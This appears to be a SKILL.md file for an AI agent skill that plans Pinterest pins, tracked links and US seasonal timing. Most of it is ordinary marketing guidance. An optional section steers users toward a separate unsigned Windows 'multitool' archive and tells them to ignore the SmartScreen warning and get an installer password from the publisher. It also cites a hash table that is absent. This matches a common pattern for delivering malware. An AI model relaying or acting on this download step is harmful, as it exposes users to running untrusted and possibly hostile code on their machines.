Pinterest Content Planner

Plans pins by board and season with 100-character titles, 800-character descriptions and tracked links you can report on. Written for US Pinterest sellers, shops that drive traffic from Pinterest and lifestyle bloggers.

Use this skill when someone asks for:

• pinterest content planner
• pinterest pin description
• pinterest board strategy
• pinterest utm tracking

The job

Pins get posted in batches with no board plan, generic titles and untagged links, so the traffic arrives and nothing is measurable.

What you get

1. Collect the boards, the products and the seasonal moments the shop sells into.
2. Draft the pin titles and descriptions inside the platform limits for each board.
3. Build the tracked link for every pin so the click lands on the right page and campaign.
4. Line the plan up with the US seasonal moments, from spring renovation to the Q4 gift window.

Output contract:

• plan - dated pins per board with format, title and description
• pin_copy - a title under 100 characters and a description under 800 characters
• tracked_links - the tagged URL for each pin and the page it points at
• seasonal - the US shopping moments inside the window with the lead time each one needs

US specifics that matter

• Pinterest caps a pin title at 100 characters and a pin description at 800 characters.
• Pinterest recommends a 1000 by 1500 pixel image, a 2:3 aspect ratio, and allows up to 10 tags per pin.
• The FTC's Endorsement Guides require a disclosure on a pin that carries a material connection, such as an affiliate link that pays the creator.
• Thanksgiving is the fourth Thursday of November, so gift pins have to be live weeks before the holiday.

Guardrails (hard rules)

• Never repost a pin whose image or description the user does not own the rights to.
• Never post or schedule a pin; the user publishes from their own account.
• Never present an affiliate link as a personal pick without the disclosure line.

Quickstart

1. Fill in the brief

templates/pin-plan.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_pin_links.py --input pin-plan.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/pinterest-pin-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Pinterest's limits

• Pin title: 100 characters. Pin description: 800 characters.
• Image: 1000 by 1500 pixels is the 2:3 ratio Pinterest surfaces best.
• Up to 10 tags per pin, and they should be phrases a buyer would type.

Running the board plan

• Give each board one job: a category, a season or a problem to solve.
• Write the pin title as the phrase a buyer would search, not as a slogan.
• One product and one idea per pin keeps the click and the landing page aligned.
• Pinterest content keeps working after it is published, so seasonal pins are worth publishing early.

Seasonal US moments

• Mother's Day is the second Sunday of May and Father's Day the third Sunday of June.
• The fourth Thursday of November is Thanksgiving, and the gift window opens before it.
• Home and renovation searches tend to pick up with the spring and the back-to-school season.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/pinterest-pin-rules.md - Pinterest pin limits and board planning
• templates/pin-plan.csv - the brief to fill in
• scripts/build_pin_links.py - the working script

Verify the bundle

python3 scripts/build_pin_links.py --input pin-plan.csv --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.